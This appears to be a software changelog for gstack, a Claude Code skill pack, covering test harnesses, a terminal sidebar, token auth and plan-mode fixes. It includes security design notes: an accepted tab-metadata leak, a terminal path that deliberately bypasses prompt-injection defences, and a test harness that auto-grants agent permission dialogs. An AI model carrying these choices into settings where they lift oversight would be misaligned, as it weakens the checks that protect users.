One known accepted risk: tabs over the tunnel returns metadata for ALL tabs in the browser, not just tabs the agent owns. The user authored the trust relationship when they paired the agent, the agent already can't read CONTENT of unowned tabs (write commands blocked, the active tab can't be switched without a tab <id> command that's NOT in the allowlist), and tab IDs already leak via the 403 hint field on disallowed goto. Codex noted that tightening this requires touching the ownership gate itself (the gate falls back to getActiveTabId() BEFORE dispatch in server.ts:603-614), which is materially out of scope for a catch-22 fix. Logged in the plan failure-mode table as accepted.

[1.15.0.0] - 2026-04-26

Real-PTY test harness ships. 11 plan-mode E2E tests, 23 unit tests, and 50K fewer tokens per invocation.

Two big pieces of engineering in one release. The headline is a real-PTY test harness — 654 lines of TypeScript on top of Bun.spawn({terminal:}) — that drives the actual claude binary and parses rendered terminal frames. Six new E2E tests on the harness cover behaviors that were structurally unreachable before: format compliance for every gstack AskUserQuestion, plan-design UI-scope detection (positive coverage), tool-budget regression vs prior runs, /ship end-to-end idempotency against a real git fixture, /plan-ceo answer-routing, and /autoplan phase sequencing. The branch nets ~11.6K lines smaller against main while adding ~1,450 lines of new TypeScript test code — preamble resolvers were rewritten to keep every semantic rule in less prose, and the test surface that catches AskUserQuestion drift expanded from zero to gate-tier on every PR.

The numbers that matter

Branch totals come from git diff --shortstat origin/main..HEAD. Token-level reduction comes from regenerating every SKILL.md against the rewritten resolvers (bun run gen:skill-docs --host all). E2E numbers come from EVALS=1 EVALS_TIER=gate bun test test/skill-e2e-*.test.ts on a clean working tree.

Metric Δ

Net branch size vs main −11,609 lines (89 files, +7,240 / −18,849)

New test files added 8 files (1 harness unit-test + 7 E2E tests)

New test code shipped ~1,453 lines of TypeScript

Real-PTY harness module 654 lines in test/helpers/claude-pty-runner.ts

Per-invocation token savings −196K tokens (−25%) on cold reads

plan-ceo-review preamble −43% (54 KB → 31 KB)

Plan-mode E2E test count 5 → 11

New gate-tier paid E2E tests +3 (format compliance, design-with-UI, budget regression)

New periodic-tier paid E2E tests +3 (mode-routing, ship-idempotency, autoplan-chain)

Helper unit test coverage +23 tests for parser + budget primitives

All free tests 49 pass, 0 fail

Skill class Per-invocation surface Δ

Tier-≥3 plan reviews (full preamble) ~50 KB → ~30 KB −40%

Tier-1 quick skills ~12 KB → ~9 KB −25%

Every gstack invocation now sends ~50K fewer tokens to the model on cold reads — that's roughly a quarter of a typical 200K context window freed up for actual work. Tier-≥3 plan reviews keep their full functional surface (Brain Sync, Context Recovery, Routing Injection) and still lose almost half the bytes.

What this means for builders

Three new classes of regression that were previously impossible to catch now block every PR. Format drift: a missing Recommendation: line or absent Pros/Cons bullet on an AskUserQuestion is caught against the real rendered terminal — not the model's claim about what it would have shown. Conditional skill paths: /plan-design-review had to early-exit when there's no UI scope, but until this release nothing tested the positive path; a regression that flipped the detector to "early-exit always" could have shipped silently. Tool-budget regressions: a preamble change that makes any skill burn 2× its prior tool calls fails a free, branch-scoped assertion that runs on every bun test.

The harness itself is a reusable primitive. runPlanSkillObservation() watches plan-mode terminal output and classifies outcomes as asked / plan_ready / silent_write / exited / timeout. Three periodic-tier tests built on top of it cover the heavier cases — multi-phase chain ordering, ship idempotency state-machine end-to-end, and answer routing through 8-12 sequential prompts — that don't fit a per-PR budget but run weekly. Pull, run bun run gen:skill-docs --host all, and every skill invocation is meaningfully smaller and meaningfully better-tested than the prior release.

Itemized changes

Added

test/helpers/claude-pty-runner.ts: real-PTY test harness using Bun.spawn({terminal:}) (Bun 1.3.10+ has built-in PTY — no node-pty, no native modules). Exposes launchClaudePty() for raw session control and runPlanSkillObservation() as the high-level contract for plan-mode skill tests.

parseNumberedOptions(visible) and isPermissionDialogVisible(visible) helpers in claude-pty-runner.ts. Tests can now look up an option index by its label without hard-coding positions, and auto-grant Claude Code's file-edit / workspace-trust / bash-permission dialogs that fire during preamble side-effects.

findBudgetRegressions() and assertNoBudgetRegression() in test/helpers/eval-store.ts. Pure functions returning tests that grew >2× in tools or turns vs the prior eval run, with floors at 5 prior tools / 3 prior turns to avoid noise. Env override GSTACK_BUDGET_RATIO.

6 new real-PTY E2E tests on the harness:

skill-e2e-ask-user-question-format-compliance.test.ts (gate, ~$0.50/run): asserts every gstack AskUserQuestion rendering contains the 7 mandated format elements (ELI10, Recommendation, Pros/Cons with ✅/❌, Net, (recommended) label).

skill-e2e-plan-design-with-ui.test.ts (gate, ~$0.80/run): positive coverage for /plan-design-review UI-scope detection. Counterpart to the existing no-UI early-exit test — without it, a regression that flips the detector to "early-exit always" would ship undetected.

skill-budget-regression.test.ts (gate, free): branch-scoped library-only assertion that no skill burns >2× tools or turns vs its prior recorded run.

skill-e2e-plan-ceo-mode-routing.test.ts (periodic, ~$3/run): verifies AskUserQuestion answer routing — HOLD SCOPE picks routes to rigor language, SCOPE EXPANSION picks route to expansion language.

skill-e2e-ship-idempotency.test.ts (periodic, ~$3/run): runs /ship end-to-end against a real git fixture with STATE: ALREADY_BUMPED baked in; asserts no double-bump, no double-commit, no fixture mutation.

skill-e2e-autoplan-chain.test.ts (periodic, ~$8/run): asserts /autoplan phase ordering by tee'ing timestamps as each **Phase N complete.** marker appears.

test/helpers-unit.test.ts: 23 unit tests covering parseNumberedOptions edge cases (empty, partial paint, >9 options, stale-vs-fresh anchoring) and findBudgetRegressions (noise floor, env override, missing tool data).

test/fixtures/plans/ui-heavy-feature.md: planted plan with explicit UI scope keywords for the new design-with-UI test.

Auto-handling of the workspace-trust dialog so tests run in temp directories without manual intervention.

Outcome contract: asked | plan_ready | silent_write | exited | timeout. Tests pass on asked or plan_ready, fail on the rest.

Changed

18 preamble resolvers compressed: generate-ask-user-format.ts, generate-brain-sync-block.ts, generate-completeness-section.ts, generate-completion-status.ts, generate-confusion-protocol.ts, generate-context-health.ts, generate-context-recovery.ts, generate-continuous-checkpoint.ts, generate-lake-intro.ts, generate-preamble-bash.ts, generate-proactive-prompt.ts, generate-routing-injection.ts, generate-telemetry-prompt.ts, generate-upgrade-check.ts, generate-vendoring-deprecation.ts, generate-voice-directive.ts, generate-writing-style-migration.ts, generate-writing-style.ts.

All 47 generated SKILL.md files regenerated; 3 ship golden fixtures regenerated.

Plan-* skills retain full preamble surface (Brain Sync, Context Recovery, Routing Injection) — the early slim attempt that cut these was reverted after diagnosing them as load-bearing.

5 existing plan-mode tests (plan-ceo, plan-eng, plan-design, plan-devex, plan-mode-no-op) rewritten onto the new harness with a 300s observation budget. All 5 verify-pass under EVALS=1 EVALS_TIER=gate against the real claude binary in 790s sequential.

isNumberedOptionListVisible regex tolerates whitespace collapse from TTY cursor-positioning escapes (\x1b[40C) which stripAnsi removes — \b2\. was failing on word-to-word transitions where stripped output read text2..

Fixed

scripts/skill-check.ts: new isRepoRootSymlink() helper so dev installs that mount the repo root at host/skills/gstack (e.g., codex's .agents/skills/gstack) get skipped instead of double-counted.

test/skill-validation.test.ts: known-large-fixture exemption keeps browse/test/fixtures/security-bench-haiku-responses.json (27 MB BrowseSafe-Bench replay fixture, intentional) out of the size warning.

Removed

test/helpers/plan-mode-helpers.ts: superseded by claude-pty-runner.ts. Zero callers remained after the rewrite.

For contributors

test/helpers/touchfiles.ts: 5 plan-mode test selections + e2e-harness-audit selection now point at claude-pty-runner.ts instead of the deleted helper. 6 new entries (ask-user-question-format-pty, plan-ceo-mode-routing, plan-design-with-ui-scope, budget-regression-pty, ship-idempotency-pty, autoplan-chain-pty) with tier classifications: 3 gate, 3 periodic.

test/e2e-harness-audit.test.ts: recognizes runPlanSkillObservation as a valid coverage path alongside the legacy canUseTool / runPlanModeSkillTest patterns.

New unit test: test/gen-skill-docs.test.ts asserts plan-review preambles stay under 33 KB and the slim Voice section preserves its load-bearing semantic contract (lead-with-the-point, name-the-file, user-outcome framing, no-corporate, no-AI-vocab, user-sovereignty).

test/touchfiles.test.ts: skill-specific change selection count updated 15 → 18 to match the 6 new touchfile entries that depend on plan-ceo-review/**.

[1.14.0.0] - 2026-04-25

The gstack browser sidebar is now an interactive Claude Code REPL with live tab awareness.

Open the side panel and Claude Code is right there in a real terminal. Type, watch the agent work, switch browser tabs and Claude sees the change. The old one-shot chat queue is gone. Two-way conversation, slash commands, /resume, ANSI colors, all of it. Plus a $B tab-each command that fans out a single browse command across every open tab and returns per-tab JSON results.

The numbers that matter

Metric Before After Δ

Sidebar surfaces Chat (one-shot claude -p) + 3 debug Terminal (live PTY) + 3 debug -1 surface, +interactive

Subprocesses spawned per session Many (one per chat message) One (PTY claude, lazy-spawned) -N

Lines in extension/sidepanel.js 1969 1042 -47%

Total diff — 27 files, +2875 / -3885 -1010 net

New unit + integration + regression tests 0 56+ +56

Live tabs.json push latency n/a (no live state) <50ms after chrome.tabs event new capability

What this means for builders

Open the sidebar, type. Real PTY means slash commands, /resume, real ANSI rendering, real claude process lifecycle. Switch browser tabs while Claude is running and <stateDir>/tabs.json + active-tab.json update in place — Claude reads them, no need to ask $B tabs. Need to do the same thing on every tab? $B tab-each <command> returns a JSON array, original active tab restored when done, no OS focus stealing.

The old chat queue is gone. sidebar-agent.ts, /sidebar-command, /sidebar-chat, /sidebar-agent/event all deleted. The Cleanup / Screenshot / Cookies toolbar buttons survive in the Terminal pane — Cleanup pipes its prompt straight into the live PTY via window.gstackInjectToTerminal() instead of spawning yet another claude -p.

Itemized changes

Added

Interactive Terminal sidebar tab. xterm.js + a non-compiled terminal-agent.ts Bun process that spawns claude with Bun.spawn({terminal: {rows, cols, data}}). Auto-connects when the side panel opens, no keypress needed.

$B tab-each <command> — fan-out helper for multi-tab work. Returns {command, args, total, results: [{tabId, url, title, status, output}]}. Skips chrome:// pages, scope-checks the inner command before iterating, restores the original active tab in a finally block, never pulls focus away from the user's foreground app.

Live tab state files. <stateDir>/tabs.json (full list with id, url, title, active, pinned, audible, windowId) and <stateDir>/active-tab.json (current active). Updated atomically on every chrome.tabs event (activated, created, removed, URL/title change). Claude reads on demand instead of running $B tabs.

Tab-awareness system prompt injected via claude --append-system-prompt at spawn so the model knows about the state files and the $B tab-each command without being told.

Always-visible Restart button in the Terminal toolbar. Force-restart claude any time, not just from the "session ended" state.

Changed

Sidebar is Terminal-only. No more Terminal | Chat primary tab nav. Activity / Refs / Inspector still live behind the debug toggle in the footer. Quick-actions (🧹 Cleanup / 📸 Screenshot / 🍪 Cookies) moved into the Terminal toolbar.

WebSocket auth uses Sec-WebSocket-Protocol instead of cookies. Browsers can't set Authorization on WS upgrades, and SameSite=Strict cookies don't survive the cross-port jump from server.ts:34567 to the agent's random port from a chrome-extension origin. The token rides on new WebSocket(url, [gstack-pty.]) and the agent echoes the protocol back (Chromium closes connections that don't pick a protocol).

Cleanup button now drives the live PTY. Clicking "🧹 Cleanup" injects the cleanup prompt straight into claude via window.gstackInjectToTerminal(). The Inspector "Send to Code" action uses the same path. No more /sidebar-command POSTs.

Repaint after debug-tab close. xterm.js doesn't auto-redraw when its container flips from display: none back to display: flex. A MutationObserver on #tab-terminal's class attribute now forces a fitAddon.fit() + term.refresh() + resize push when the pane becomes visible.

Removed

browse/src/sidebar-agent.ts — the one-shot claude -p queue worker. ~900 lines.

Server endpoints: /sidebar-command, /sidebar-chat[/clear], /sidebar-agent/{event,kill,stop}, /sidebar-tabs[/switch], /sidebar-session{,/new,/list}, /sidebar-queue/dismiss. ~600 lines.

Chat-related state in server.ts: ChatEntry, SidebarSession, TabAgentState, pickSidebarModel, addChatEntry, processAgentEvent, killAgent, the agent-health watchdog, chatBuffer, the per-tab agent map.

Chat UI in sidepanel.html: primary-tab nav, <main id="tab-chat">, the chat input bar, the experimental "Browser co-pilot" banner, the security event banner, the clear-chat footer button.

Five obsolete test files: sidebar-agent.test.ts, sidebar-agent-roundtrip.test.ts, security-e2e-fullstack.test.ts, security-review-fullstack.test.ts, security-review-sidepanel-e2e.test.ts. Plus 5 chat-only describe blocks inside surviving security tests (loadSession session-ID validation, switchChatTab DocumentFragment, pollChat reentrancy, sidebar-tabs URL sanitization, agent queue security).

For contributors

browse/src/pty-session-cookie.ts mirrors sse-session-cookie.ts. Same TTL, same opportunistic pruning, separate registry (PTY tokens must never be valid as SSE tokens or vice versa).

docs/designs/SIDEBAR_MESSAGE_FLOW.md rewritten around the Terminal flow: WebSocket upgrade, dual-token model (AUTH_TOKEN for /pty-session, gstack-pty.<token> for /ws, INTERNAL_TOKEN for server↔agent loopback), threat-model boundary (Terminal tab bypasses the prompt-injection stack on purpose; user keystrokes are the trust source).

browse/test/terminal-agent.test.ts (16 tests) + terminal-agent-integration.test.ts (real /bin/bash PTY round-trip, raw Sec-WebSocket-Protocol upgrade verification) + tab-each.test.ts (10 tests with mock BrowserManager) + sidebar-tabs.test.ts (27 structural assertions locking the chat-rip invariants).

CLAUDE.md updated with the dual-token model, the cookie-vs-protocol rationale, and the cross-pane injection pattern.

vendor:xterm build step copies xterm@5.x and xterm-addon-fit from node_modules/ into extension/lib/ at build time. xterm files are gitignored.

TODOS.md carries three v1.1+ follow-ups: PTY session survival across sidebar reload (Issue 1C deferred), /health AUTH_TOKEN distribution audit (codex finding, pre-existing soft leak), and dropping the now-dead security-classifier.ts ML pipeline.

[1.13.0.0] - 2026-04-25

/gstack-claude gives non-Claude hosts a read-only outside voice.

This release adds the reverse of /codex: external hosts can now ask Claude for review, adversarial challenge, or read-only consultation without handing nested Claude mutation tools.

Added

claude/SKILL.md.tmpl: new external-only /gstack-claude skill with review, challenge, and consult modes.

Review and challenge mode feed the detected base-branch diff to claude -p --tools "" with --disable-slash-commands.

Consult mode allows only Read,Grep,Glob, explicitly disallows Bash,Edit,Write, saves .context/claude-session-id, and can resume the prior consult session.

Claude prompt transport now uses a /tmp/gstack-claude-prompt-* file piped over stdin with cleanup.

Auth checks require the claude CLI plus either ~/.claude/.credentials.json or ANTHROPIC_API_KEY.

JSON output parsing extracts result, usage, model, session_id, and is_error.

Fixed

hosts/claude.ts: excludes the Claude outside-voice skill from Claude-host generation.

test/brain-sync.test.ts: the GSTACK_HOME isolation test now snapshots and preserves the real config file instead of assuming local machine state.

claude/SKILL.md.tmpl: uses mktemp for diff capture in review/challenge mode instead of a $$-based temp path, avoiding collisions across concurrent invocations.

Changed

test/skill-validation.test.ts: the tracked-file-size check is now advisory. Large fixtures remain allowed in git and are reported as [size-warning] instead of failing the suite.

test/gen-skill-docs.test.ts: generation coverage now asserts external host docs include gstack-claude/SKILL.md while Claude host output omits claude/SKILL.md.

[1.12.2.0] - 2026-04-24

/setup-gbrain polish: PATH parsing, repo init order, MCP user scope.

Small refinements to the /setup-gbrain onboarding path.

Fixed

bin/gstack-gbrain-install: parse gbrain --version output with awk '{print $NF}' so the D19 PATH-shadow check compares just the version number.

bin/gstack-brain-init: omit --source from gh repo create. Later steps handle git init + remote setup explicitly.

setup-gbrain Step 9: smoke test uses gbrain put <slug> with body piped on stdin.

setup-gbrain Step 5a: MCP registers with --scope user and an absolute path to the gbrain binary, so mcp__gbrain__* tools are available in every Claude Code session on the machine.

Changed

test/gstack-brain-init-gh-mock.test.ts: asserts --source is absent from the gh repo create call.

[1.12.1.0] - 2026-04-24

Plan-mode review skills run the review directly, no more "exit and rerun" prompt.

Before this release, /plan-eng-review (and the three other interactive: true review skills) greeted plan-mode users with an A/B/C handshake asking them to exit plan mode and rerun, or cancel. That handshake was vestigial: the preamble already contains an authoritative "Skill Invocation During Plan Mode" rule saying AskUserQuestion satisfies plan mode's end-of-turn requirement. Two contradictory rules, the bossy one at the top won, the review never ran. This release deletes the bossier rule and hoists the correct one to position 1 of the preamble so skills run straight through.

What shipped

The vestigial scripts/resolvers/preamble/generate-plan-mode-handshake.ts resolver is deleted. The "Plan Mode Safe Operations" and "Skill Invocation During Plan Mode" blocks are split out of generate-completion-status.ts into a sibling generatePlanModeInfo() export in the same module, then wired at preamble position 1 where the handshake used to live. The "you see this first" positioning stays; only the content changes. Four dead plan-mode-handshake question-registry IDs are removed. The interactive: true frontmatter flag stays on the four review skill templates because test/e2e-harness-audit.test.ts reads it to classify which skills must have canUseTool coverage, per codex outside-voice review.

The four per-skill plan-mode E2E tests are rewritten as smoke tests that assert Step 0's actual scope-mode question fires (not an A/B/C handshake), no Write/Edit before the first AskUserQuestion, and no early ExitPlanMode. The write-guard helper from the old plan-mode-handshake-helpers.ts is preserved in the renamed plan-mode-helpers.ts so silent-bypass regressions still get caught. test/skill-e2e-plan-mode-no-op.test.ts is kept for the opposite coverage case: the plan-mode-info block stays quiet outside plan mode. test/gen-skill-docs.test.ts now scans every generated SKILL.md across all 9 host subdirs (.agents/, .openclaw/, .kiro/, etc.) and asserts ## Plan Mode Handshake is absent. That's a sub-second unit gate blocking any future PR from re-introducing the resolver.

The numbers that matter

Source: bun test on HEAD against the pre-change baseline.

Metric Before After Δ

Preamble resolvers 19 (handshake + completion-status) 18 (completion-status owns both functions) -1 module

Handshake lines in generated SKILL.md 92 per skill × 4 skills = 368 0 -368

Question-registry entries 51 47 -4 dead entries

Plan-mode gate-tier tests 5 handshake-asserting 5 smoke + no-op + write-guard same count, stronger assertions

Multi-host handshake-absence unit test none 1 (scans 9 host dirs, <1s) new regression gate

bun test on changed files 360 gen-skill-docs pass 360 gen-skill-docs pass no regression

The preamble position for the new ## Skill Invocation During Plan Mode section lands at line ~127 of every plan-*-review/SKILL.md (first ~15% of the file), before the upgrade check and onboarding gates, so the authoritative plan-mode rule is the first thing the model reads after bash env setup.

What this means for plan-mode users

Invoke /plan-eng-review from plan mode. You get the scope-mode question (SCOPE EXPANSION / SELECTIVE EXPANSION / HOLD SCOPE / SCOPE REDUCTION) immediately, the review runs, each finding gets its own AskUserQuestion, ExitPlanMode fires at the end. No two-step "exit and rerun" friction. Same for /plan-ceo-review, /plan-design-review, /plan-devex-review.

Itemized changes

Fixed

/plan-eng-review, /plan-ceo-review, /plan-design-review, /plan-devex-review no longer show an A/B/C handshake prompt when invoked in plan mode. Each skill runs its interactive review directly, with every finding gated by AskUserQuestion just like outside plan mode.

Changed

The "Plan Mode Safe Operations" and "Skill Invocation During Plan Mode" preamble sections are now emitted at position 1 (right after the bash env setup) instead of at the tail of the completion-status block. All skills see these two sections earlier in the preamble; nothing else changes about the content.

test/helpers/plan-mode-handshake-helpers.ts is renamed to test/helpers/plan-mode-helpers.ts. The exported API is renamed from runPlanModeHandshakeTest to runPlanModeSkillTest and from assertHandshakeShape to assertNotHandshakeShape. The write-guard detection (no Write/Edit tool call before the first AskUserQuestion) is preserved and extended with ExitPlanMode-before-ask detection.

Removed

scripts/resolvers/preamble/generate-plan-mode-handshake.ts deleted (vestigial, superseded by generatePlanModeInfo in generate-completion-status.ts).

Four question-registry entries removed from scripts/question-registry.ts: plan-ceo-review-plan-mode-handshake, plan-eng-review-plan-mode-handshake, plan-design-review-plan-mode-handshake, plan-devex-review-plan-mode-handshake. These IDs are no longer emitted by any skill; keeping them in the registry was dead weight.

For contributors

test/gen-skill-docs.test.ts now has a "plan-mode-info resolver" describe block that (a) scans every generated SKILL.md under the repo root plus every host subdir (.agents/, .openclaw/, .opencode/, .factory/, .hermes/, .kiro/, .cursor/, .slate/) and asserts ## Plan Mode Handshake is absent, and (b) asserts ## Skill Invocation During Plan Mode lands in the first 15,000 bytes of each of the four review skills' generated SKILL.md. Both assertions run on every bun test. Any PR that re-introduces the handshake resolver fails CI immediately.

The interactive: true frontmatter flag on the four review skill templates is preserved. It still has a reader: test/e2e-harness-audit.test.ts uses it to enforce canUseTool coverage on interactive review E2E tests. Removing the flag was part of the initial plan; codex outside-voice review caught the downstream dependency during review and that decision was reversed.

[1.12.0.0] - 2026-04-24

/setup-gbrain — any coding agent goes from zero to "gbrain is running, and I can call it" in under five minutes.

gstack v1.9.0.0 shipped gbrain-sync, which assumed a gbrain CLI was already installed. That was fine on Garry's machine (he'd manually cloned ~/git/gbrain), broken for everyone else. This release closes the onboarding gap: one skill, three paths (local PGLite, existing Supabase URL, or Supabase auto-provision via the Management API), an MCP registration step for Claude Code, a per-remote trust triad (read-write / read-only / deny) so multi-client consultants don't mingle brains, and a reusable secret-sink test harness other skills can import when they start handling secrets.

What shipped

Six new bin/ helpers and one new skill template. bin/gstack-gbrain-repo-policy stores per-remote ingest tiers at ~/.gstack/gbrain-repo-policy.json with a _schema_version: 2 field so future migrations are deterministic (the first one — legacy allow → read-write — already runs on first read of any pre-D3 file). bin/gstack-gbrain-detect emits the full state as JSON so the skill can skip steps that are already done. bin/gstack-gbrain-install probes ~/git/gbrain and ~/gbrain before cloning fresh (fixes the day-one dup-clone footgun on the author's own machine) and fails hard on PATH shadowing with a three-option remediation menu instead of warn-and-continue. bin/gstack-gbrain-lib.sh extracts the read_secret_to_env helper used for both PAT collection and pooler-URL paste — one canonical implementation of the stty-echo-off + SIGINT-restore + env-var-only pattern. bin/gstack-gbrain-supabase-verify rejects direct-connection URLs (IPv6-only, fails in most environments) with exit code 3 so the caller's retry UX is distinct from a generic format error. bin/gstack-gbrain-supabase-provision wraps the Management API — list-orgs, create, poll, pooler-url, list-orphans, delete-project — with full HTTP error coverage (401/403/402/409/429/5xx), exponential backoff, and --cleanup-orphans support for the rare case where someone kills setup mid-provision.

The skill template itself threads these together into a single interactive flow. PAT collection shows the full scope disclosure verbatim before the read-s prompt, explains that the token grants access to every project in the user's Supabase account, and emits a revocation reminder at the end. Path 1's pooler-URL paste gets the same hygiene plus a redacted preview (host / port / database visible, password masked). Switching between engines wraps gbrain migrate in timeout 180s with an actionable message on deadlock. Concurrent-run protection via mkdir ~/.gstack/.setup-gbrain.lock.d. Telemetry records scenario, install result, MCP opt-in, trust tier — all enumerated categorical values, never free-form strings that could leak secrets.

/health gets a new GBrain dimension (weight 10%, wrapped in timeout 5s) alongside type-check / lint / tests / dead-code / shell-linter. The dimension is omitted — not red — when gbrain isn't installed, so running /health on a non-gbrain machine doesn't penalize that choice.

test/helpers/secret-sink-harness.ts is new infrastructure. Runs a subprocess with a seeded secret, captures stdout / stderr / files-under-HOME / telemetry-JSONL, and asserts the seed never appears in any channel via four match rules (exact + URL-decoded + first-12-char prefix + base64). Seven positive-control tests prove the harness catches leaks in every covered channel; four negative controls run real setup-gbrain bins with seeded secrets and confirm nothing escapes. Any future skill that handles secrets can import runWithSecretSink and run the same pattern.

The numbers that matter

Source: bun test against Slices 1–7's five new test files.

Suite Tests Time

gbrain-repo-policy.test.ts 24 ~1.2s

gbrain-detect-install.test.ts 15 ~1.0s

gbrain-lib-verify.test.ts 22 ~0.2s

gbrain-supabase-provision.test.ts 28 ~13.8s

secret-sink-harness.test.ts 11 ~7.0s

Total 100 ~23s

Every HTTP error path for the Supabase Management API is covered by a mock-server fixture. Every secret-bearing bin is exercised with a distinctive seed through the leak harness.

What this means for Claude Code users

Previously: install gbrain manually, hope nothing was shadowing on PATH, paste the pooler URL into an echoing prompt, figure out MCP registration yourself. Now: one command, three paths, PAT-handled-correctly auto-provision, MCP registered for Claude Code automatically, trust tiers for multi-client work, leak-tested end-to-end. Run /setup-gbrain.

Itemized changes

Added

/setup-gbrain skill (setup-gbrain/SKILL.md.tmpl) — full onboarding flow with path selection, PAT-scoped disclosure, redacted URL preview, concurrent-run lock, SIGINT recovery with --resume-provision, and --cleanup-orphans subcommand.

bin/gstack-gbrain-repo-policy — per-remote trust triad (read-write / read-only / deny), schema-versioned file format, atomic writes, corrupt-file quarantine.

bin/gstack-gbrain-detect — JSON state reporter for skill branching.

bin/gstack-gbrain-install — D5 detect-first installer, D19 PATH-shadow fail-hard validator, pinned gbrain commit.

bin/gstack-gbrain-lib.sh — shared read_secret_to_env bash helper.

bin/gstack-gbrain-supabase-verify — structural URL validator with distinct exit for direct-connection rejects.

bin/gstack-gbrain-supabase-provision — Management API wrapper (list-orgs / create / wait / pooler-url / list-orphans / delete-project) with full HTTP error coverage and retry+backoff.

test/helpers/secret-sink-harness.ts — reusable negative-space leak-testing harness.

Changed

/health skill adds a GBrain composite dimension (weight 10%, wrapped in timeout 5s). Existing category weights rebalanced to keep the composite score on the 0–10 scale; historical JSONL entries without a gbrain field read as null for trend comparison.

For contributors

Pre-Impl Gate 1 verified Supabase Management API shape before any code was written. Corrected two wrong endpoint assumptions (POST /v1/projects not /v1/organizations/{ref}/projects; /config/database/pooler not /config/database) and confirmed gbrain's --non-interactive + GBRAIN_DATABASE_URL env var are real. Documented in the plan file.

Review discipline: CEO review + Codex outside voice + Eng review all passed in plan mode before any code landed (3 reviews, 21 D-decisions, 0 unresolved gaps).

[1.11.1.0] - 2026-04-23

Plan mode stopped silently rubber-stamping your reviews. The forcing questions actually fire now.

If you ran /plan-ceo-review or any interactive review skill while in plan mode, the skill used to read your diff, skip every STOP gate, write a plan file, and exit. Zero AskUserQuestion calls. Zero mode selection. Zero per-section decisions. The skill's interactive contract got outranked by plan mode's system-reminder, which tells the model to run its own workflow and ignore everything else. This release adds a preamble-level STOP gate that fires before any analysis, so you always get the interactive review the skill was designed to run.

What shipped

Four interactive review skills (plan-ceo-review, plan-eng-review, plan-design-review, plan-devex-review) now emit a two-option AskUserQuestion the moment plan mode is detected: exit-and-rerun interactively, or cancel. No silent bypass. The gate is classified one-way-door in the question registry so /plan-tune preferences can't auto-decide past it. Outcome gets logged to ~/.gstack/analytics/skill-usage.jsonl synchronously when the handshake fires, so A-exit and C-cancel are captured even though they terminate the skill before the end-of-run telemetry block.

The test harness got a canUseTool extension built on Anthropic's Agent SDK (already installed at v0.2.117). When a test supplies a canUseTool callback, test/helpers/agent-sdk-runner.ts flips permissionMode from bypassPermissions to default so the callback actually fires. This is the foundation for asserting AskUserQuestion content end-to-end, which gstack's E2E tests previously couldn't do at all. They had to instruct the model to skip AskUserQuestion entirely. Every future interactive-skill test builds on this.

The numbers that matter

Source: new unit tests in test/gen-skill-docs.test.ts (8 tests covering handshake presence, absence, composition ordering, 0C-bis STOP block) and test/agent-sdk-runner.test.ts (6 tests covering canUseTool + permission-mode + passThrough helper). All 14 pass locally in <250ms, free tier.

Surface Before After

Claude skills rendering the handshake 0 4 (plan-ceo, plan-eng, plan-design, plan-devex)

Non-Claude host outputs with handshake text N/A 0 (host-scoped via ctx.host === 'claude' check)

E2E tests that can assert AskUserQuestion content 0 1 harness primitive, ready for every interactive skill

Plan-mode entry to any of 4 review skills Silent bypass Two-option STOP gate

Step 0C-bis in plan-ceo-review No STOP block, could drift to 0F Explicit **STOP.** block matching 0F pattern

Post-handshake telemetry outcomes captured Neither A-exit nor C-cancel Both (synchronous write before ExitPlanMode)

What this means for builders

If you're running gstack in plan mode on a PR review, you'll see one question before the skill does anything: "Exit plan mode and run interactively, or cancel?" Pick A, press esc-esc, rerun the skill in normal mode, get the full interactive review you expected. Pick C to bail cleanly. No more silent rubber-stamp.

If you're building new interactive skills (yours or contributing to gstack), you can now write real E2E tests that assert on AskUserQuestion shape and routing via the canUseTool harness. See test/agent-sdk-runner.test.ts for the pattern and test/helpers/agent-sdk-runner.ts for the API.

Itemized changes

Fixed

Plan mode no longer silently skips AskUserQuestion gates in /plan-ceo-review, /plan-eng-review, /plan-design-review, or /plan-devex-review. A preamble-level handshake fires as the first thing the skill does when the plan-mode system-reminder is present, forcing a user choice before any analysis or plan-file writes.

/plan-ceo-review Step 0C-bis now has an explicit STOP block matching the pattern used at Step 0F, so the approach-selection question can't be silently skipped when the skill continues to mode selection.

Added

New resolver scripts/resolvers/preamble/generate-plan-mode-handshake.ts emits the handshake prose and telemetry bash. Host-scoped to Claude only via ctx.host === 'claude' check. Opt-in per skill via interactive: true in frontmatter.

New frontmatter field interactive: boolean on skill templates. Generator-only input parsed by scripts/gen-skill-docs.ts, never written to generated SKILL.md output (follows the preamble-tier precedent).

New question registry entries plan-{ceo,eng,design,devex}-review-plan-mode-handshake with door_type: 'one-way' in scripts/question-registry.ts. Question-tuning never-ask preferences cannot suppress this gate.

New telemetry field plan_mode_handshake in ~/.gstack/analytics/skill-usage.jsonl with outcomes fired, A-exit, C-cancel written synchronously as the handshake fires. Captures outcomes that would otherwise terminate the skill before end-of-run telemetry runs.

test/helpers/agent-sdk-runner.ts extended with optional canUseTool callback parameter. When supplied, flips permissionMode to default, auto-adds AskUserQuestion to allowedTools, and passes the callback to the SDK. Exports passThroughNonAskUserQuestion helper for tests that only want to assert on AskUserQuestion but auto-allow other tools.

For contributors

Added 5 unit tests in test/gen-skill-docs.test.ts verifying handshake presence in 4 interactive skills, absence in non-interactive skills, absence in non-Claude host outputs, composition ordering (handshake precedes upgrade-check), and 0C-bis STOP block wiring.

Added 6 unit tests in test/agent-sdk-runner.test.ts verifying permission-mode flip, allowedTools auto-injection, canUseTool callback propagation, and pass-through helper behavior.

Added 6 gate-tier entries to test/helpers/touchfiles.ts covering the new E2E test surface. Dependency glob fires any of the new tests when: the relevant skill template, the handshake resolver, preamble composition, the question registry, the one-way-door classifier, or the agent-sdk-runner changes.

Filed 2 P1/P2 follow-ups in TODOS.md: structural STOP-Ask forcing function across all skills (broader class of bug beyond plan-mode entry), and extending interactive: true audit to non-review interactive skills like /office-hours, /codex, /investigate, /qa.

[1.11.0.0] - 2026-04-23

Workspace-aware ship. Two open PRs can't both claim the same VERSION anymore.

If you run gstack in multiple Conductor windows at once, you've probably seen this: two branches bump to the same version, whoever merges second silently overwrites the first one's CHANGELOG entry or lands with a duplicate header, and nobody notices until a grep "^## \[" later. This release makes that collision impossible by construction. /ship now queries the open PR queue, sees what versions are already claimed, and picks the next free slot at your chosen bump level. If a collision is detected between ship and land, the land step aborts and tells you to rerun /ship rather than silently overwriting. A new /landing-report command shows the whole queue on demand.

What changes for you

